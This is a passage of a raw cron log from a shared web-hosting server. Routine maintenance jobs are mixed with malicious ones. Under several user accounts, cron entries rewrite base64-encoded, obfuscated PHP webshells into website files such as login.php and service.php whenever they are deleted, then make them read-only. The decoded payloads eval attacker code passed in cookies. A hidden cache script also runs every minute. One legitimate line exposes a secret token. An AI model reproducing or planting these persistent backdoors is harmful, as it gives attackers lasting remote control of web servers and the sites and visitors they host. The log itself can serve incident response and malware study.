"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:18:02 medusa CROND[13474]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:18:02 medusa CROND[13475]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:18:02 medusa CROND[13488]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 08:18:02 medusa CROND[13489]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:18:02 medusa CROND[13490]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:18:02 medusa CROND[13492]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:19:01 medusa CROND[15100]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:19:01 medusa CROND[15101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:19:01 medusa CROND[15102]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:19:01 medusa CROND[15103]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:19:01 medusa CROND[15104]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:19:01 medusa CROND[15108]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:19:01 medusa CROND[15107]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:19:01 medusa CROND[15111]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:19:01 medusa CROND[15113]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:19:01 medusa CROND[15109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:19:01 medusa CROND[15110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:19:01 medusa CROND[15122]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:20:01 medusa CROND[16859]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:20:01 medusa CROND[16876]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:20:01 medusa CROND[16890]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:20:01 medusa CROND[16900]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:20:01 medusa CROND[16901]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:20:01 medusa CROND[16902]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 08:20:01 medusa CROND[16903]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:20:01 medusa CROND[16904]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:20:01 medusa CROND[16905]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:20:01 medusa CROND[16906]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:20:01 medusa CROND[16911]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:20:01 medusa CROND[16910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 08:20:01 medusa CROND[16914]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 08:20:01 medusa CROND[16913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:20:01 medusa CROND[16915]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 08:20:01 medusa CROND[16922]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:20:01 medusa CROND[16921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 08:20:01 medusa CROND[16926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:20:01 medusa CROND[16925]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:20:01 medusa CROND[16933]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
